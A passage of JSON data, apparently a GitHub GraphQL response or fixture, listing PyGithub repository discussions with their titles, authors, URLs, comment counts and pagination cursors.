id?","createdAt":"2023-10-14T05:08:20Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0xMC0xNFQwNzowOToxNyswMjowMM4AbxC6","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0xMC0xNFQwNzowOToxNyswMjowMM4AbxC6","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AbxC6","url":"https://github.com/PyGithub/PyGithub/discussions/2795#discussioncomment-7278778","createdAt":"2023-10-14T05:09:17Z","author":{"login":"fsadykov","avatarUrl":"https://avatars.githubusercontent.com/u/30247437?u=09d59326fac741c840e4460856ad25d8abdea6f3&v=4","url":"https://github.com/fsadykov"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AVemo","url":"https://github.com/PyGithub/PyGithub/discussions/2758","number":2758,"author":{"login":"vsajip","avatarUrl":"https://avatars.githubusercontent.com/u/130553?u=51547f2ea9dbde1a08a65dd090708b8d9ee0f082&v=4","url":"https://github.com/vsajip"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How do you sync a fork with its parent?","createdAt":"2023-09-15T07:28:10Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AVJc_","url":"https://github.com/PyGithub/PyGithub/discussions/2737","number":2737,"author":{"login":"lokeshwarobuli","avatarUrl":"https://avatars.githubusercontent.com/u/85650351?v=4","url":"https://github.com/lokeshwarobuli"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to log requests","createdAt":"2023-08-21T16:16:14Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wOS0wNVQxODowMzoyNyswMjowMM4AaYi7","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wOS0wNVQxODowMzoyNyswMjowMM4AaYi7","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AaYi7","url":"https://github.com/PyGithub/PyGithub/discussions/2737#discussioncomment-6916283","createdAt":"2023-09-05T16:03:27Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAGmI2A==","endCursor":"Y3Vyc29yOnYyOpHOAGmI2A==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AaYjY","url":"https://github.com/PyGithub/PyGithub/discussions/2737#discussioncomment-6916312","createdAt":"2023-09-05T16:05:37Z","author":{"login":"lokeshwarobuli","avatarUrl":"https://avatars.githubusercontent.com/u/85650351?v=4","url":"https://github.com/lokeshwarobuli"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AU_3J","url":"https://github.com/PyGithub/PyGithub/discussions/2710","number":2710,"author":{"login":"aditya-samalla","avatarUrl":"https://avatars.githubusercontent.com/u/110420355?v=4","url":"https://github.com/aditya-samalla"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to sign a commit raised via PyGithub","createdAt":"2023-08-09T18:15:30Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ATVaC","url":"https://github.com/PyGithub/PyGithub/discussions/2495","number":2495,"author":{"login":"zsbeheshti","avatarUrl":"https://avatars.githubusercontent.com/u/122203055?v=4","url":"https://github.com/zsbeheshti"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Definition of the initial population for the genetic algorithm by the user","createdAt":"2023-04-10T20:42:27Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wOC0wMVQyMjo1OTowMSswMjowMM4AZNwk","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wOC0wOVQxMToyMjo1MiswMjowMM4AZecQ","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AZNwk","url":"https://github.com/PyGithub/PyGithub/discussions/2495#discussioncomment-6609956","createdAt":"2023-08-01T20:59:01Z","author":{"login":"EdmundGoodman","avatarUrl":"https://avatars.githubusercontent.com/u/37504168?v=4","url":"https://github.com/EdmundGoodman"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AZecQ","url":"https://github.com/PyGithub/PyGithub/discussions/2495#discussioncomment-6678288","createdAt":"2023-08-09T09:22:52Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4APye2","url":"https://github.com/PyGithub/PyGithub/discussions/2255","number":2255,"author":{"login":"buhtz","avatarUrl":"https://avatars.githubusercontent.com/u/11861496?u=3009371c8b8589a4da829768371d0b82329c560b&v=4","url":"https://github.com/buhtz"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to securily use access tokens?","createdAt":"2022-06-12T19:15:12Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNy0xMlQyMjoxMjoyMCswMjowMM4AYiIL","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wOC0wMVQyMjo0OTo0OCswMjowMM4AZNvQ","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AYiIL","url":"https://github.com/PyGithub/PyGithub/discussions/2255#discussioncomment-6431243","createdAt":"2023-07-12T20:12:20Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AZNvQ","url":"https://github.com/PyGithub/PyGithub/discussions/2255#discussioncomment-6609872","createdAt":"2023-08-01T20:49:48Z","author":{"login":"EdmundGoodman","avatarUrl":"https://avatars.githubusercontent.com/u/37504168?v=4","url":"https://github.com/EdmundGoodman"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AUj0g","url":"https://github.com/PyGithub/PyGithub/discussions/2619","number":2619,"author":null,"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How do I create a new branch with PyGithub?","createdAt":"2023-07-10T23:57:46Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNy0xMVQwMjowMDo1OSswMjowMM4AYdCH","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNy0xMVQwMjowMDo1OSswMjowMM4AYdCH","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AYdCH","url":"https://github.com/PyGithub/PyGithub/discussions/2619#discussioncomment-6410375","createdAt":"2023-07-11T00:00:59Z","author":{"login":"sheeehy","avatarUrl":"https://avatars.githubusercontent.com/u/116221302?u=ecd65fd8d346ee58200ae8bd7b6f685bd6403c63&v=4","url":"https://github.com/sheeehy"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AUSqN","url":"https://github.com/PyGithub/PyGithub/discussions/2559","number":2559,"author":{"login":"antoineKorbit","avatarUrl":"https://avatars.githubusercontent.com/u/60627077?v=4","url":"https://github.com/antoineKorbit"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Release of new version for this library","createdAt":"2023-06-20T11:09:12Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNi0yMFQxNTowNToxMSswMjowMM4AXxFm","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNi0yMlQyMDoxNDozOCswMjowMM4AX3FM","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AXxFm","url":"https://github.com/PyGithub/PyGithub/discussions/2559#discussioncomment-6230374","createdAt":"2023-06-20T13:05:11Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAF8YJg==","endCursor":"Y3Vyc29yOnYyOpHOAF8YJg==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AXxgm","url":"https://github.com/PyGithub/PyGithub/discussions/2559#discussioncomment-6232102","createdAt":"2023-06-20T15:31:37Z","author":{"login":"antoineKorbit","avatarUrl":"https://avatars.githubusercontent.com/u/60627077?v=4","url":"https://github.com/antoineKorbit"}}]}},{"id":"DC_kwDOADYVqs4AX3FM","url":"https://github.com/PyGithub/PyGithub/discussions/2559#discussioncomment-6254924","createdAt":"2023-06-22T18:14:38Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAF9yuQ==","endCursor":"Y3Vyc29yOnYyOpHOAGBfhw==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AX3K5","url":"https://github.com/PyGithub/PyGithub/discussions/2559#discussioncomment-6255289","createdAt":"2023-06-22T19:03:06Z","author":{"login":"antoineKorbit","avatarUrl":"https://avatars.githubusercontent.com/u/60627077?v=4","url":"https://github.com/antoineKorbit"}},{"id":"DC_kwDOADYVqs4AYF-H","url":"https://github.com/PyGithub/PyGithub/discussions/2559#discussioncomment-6315911","createdAt":"2023-06-29T14:15:48Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOBfB","url":"https://github.com/PyGithub/PyGithub/discussions/2104","number":2104,"author":{"login":"dougdonohoe","avatarUrl":"https://avatars.githubusercontent.com/u/1576240?u=913d581872d52846d9d230ea87995e42fed17d4e&v=4","url":"https://github.com/dougdonohoe"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How do I call /installation/repositories API?","createdAt":"2021-11-09T21:45:57Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMS0xMVQxNTowNjowOCswMTowMM4AGNAD","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNi0yN1QyMToxNDoyNCswMjowMM4AYBbS","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AGNAD","url":"https://github.com/PyGithub/PyGithub/discussions/2104#discussioncomment-1626115","createdAt":"2021-11-11T14:06:08Z","author":{"login":"dougdonohoe","avatarUrl":"https://avatars.githubusercontent.com/u/1576240?u=913d581872d52846d9d230ea87995e42fed17d4e&v=4","url":"https://github.com/dougdonohoe"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAGAN8g==","endCursor":"Y3Vyc29yOnYyOpHOAGAN8g==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AYA3y","url":"https://github.com/PyGithub/PyGithub/discussions/2104#discussioncomment-6295026","createdAt":"2023-06-27T14:57:46Z","author":{"login":"AleksandraAleksandrova","avatarUrl":"https://avatars.githubusercontent.com/u/48100500?u=dd1a0a458e53657eb04953d55e340ac62d098f63&v=4","url":"https://github.com/AleksandraAleksandrova"}}]}},{"id":"DC_kwDOADYVqs4AYBbS","url":"https://github.com/PyGithub/PyGithub/discussions/2104#discussioncomment-6297298","createdAt":"2023-06-27T19:14:24Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":true,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAGAoWw==","endCursor":"Y3Vyc29yOnYyOpHOAGAoWw==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AYChb","url":"https://github.com/PyGithub/PyGithub/discussions/2104#discussioncomment-6301787","createdAt":"2023-06-28T07:56:38Z","author":{"login":"AleksandraAleksandrova","avatarUrl":"https://avatars.githubusercontent.com/u/48100500?u=dd1a0a458e53657eb04953d55e340ac62d098f63&v=4","url":"https://github.com/AleksandraAleksandrova"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AUAze","url":"https://github.com/PyGithub/PyGithub/discussions/2539","number":2539,"author":{"login":"parteekcoder","avatarUrl":"https://avatars.githubusercontent.com/u/100110395?u=b357155a4321a4631940348681dcf46f4eb2789c&v=4","url":"https://github.com/parteekcoder"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Pull request accross different repository","createdAt":"2023-05-30T06:05:32Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNi0yM1QxMDozNjoyMSswMjowMM4AX4TB","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNi0yM1QxMDozNjoyMSswMjowMM4AX4TB","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AX4TB","url":"https://github.com/PyGithub/PyGithub/discussions/2539#discussioncomment-6259905","createdAt":"2023-06-23T08:36:21Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOzRO","url":"https://github.com/PyGithub/PyGithub/discussions/2177","number":2177,"author":{"login":"jackfurr","avatarUrl":"https://ava